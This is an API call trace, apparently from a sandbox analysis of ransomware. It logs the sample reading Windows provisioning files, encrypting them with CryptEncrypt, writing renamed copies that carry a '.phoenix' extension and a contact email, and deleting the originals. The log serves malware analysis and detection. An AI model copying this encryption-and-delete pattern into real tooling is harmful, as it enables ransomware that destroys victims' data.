	[0238.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.594] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.594] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.595] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0238.595] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.595] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x354, lpOverlapped=0x0) returned 1
	[0238.596] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0238.596] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0238.597] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0238.597] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.597] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.597] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.597] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.597] CryptDestroyKey (hKey=0x151100) returned 1
	[0238.597] CloseHandle (hObject=0x2c0) returned 1
	[0238.597] CloseHandle (hObject=0x2d4) returned 1
	[0238.597] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.598] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.599] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=462) returned 1
	[0238.599] CloseHandle (hObject=0x2d4) returned 1
	[0238.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0238.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.599] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.599] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.599] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.599] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0238.599] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.600] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1ce, lpOverlapped=0x0) returned 1
	[0238.601] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0238.601] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0238.602] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0238.602] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.602] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.602] CryptDestroyKey (hKey=0x151100) returned 1
	[0238.602] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.602] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0238.602] CloseHandle (hObject=0x2d4) returned 1
	[0238.602] CloseHandle (hObject=0x2c0) returned 1
	[0238.602] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0238.603] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.603] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=702) returned 1
	[0238.603] CloseHandle (hObject=0x2c0) returned 1
	[0238.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.604] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.604] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.604] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0238.604] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.604] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2be, lpOverlapped=0x0) returned 1
	[0238.607] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0238.607] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0238.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0238.608] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.608] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0238.608] CryptDestroyKey (hKey=0x151180) returned 1
	[0238.608] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0238.608] CryptDestroyKey (hKey=0x151440) returned 1
	[0238.608] CloseHandle (hObject=0x2c0) returned 1
	[0238.609] CloseHandle (hObject=0x2d4) returned 1
	[0238.609] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.609] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.610] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=460) returned 1
	[0238.610] CloseHandle (hObject=0x2d4) returned 1
	[0238.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0238.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.610] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.610] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0238.611] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.611] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cc, lpOverlapped=0x0) returned 1
	[0238.612] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0238.612] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0238.613] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0238.613] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.613] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0238.613] CryptDestroyKey (hKey=0x151100) returned 1
	[0238.613] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0238.613] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.613] CloseHandle (hObject=0x2d4) returned 1
	[0238.613] CloseHandle (hObject=0x2c0) returned 1
	[0238.613] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.614] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.614] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.615] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0238.615] CloseHandle (hObject=0x2c0) returned 1
	[0238.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.615] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.615] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.615] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.615] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0238.615] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
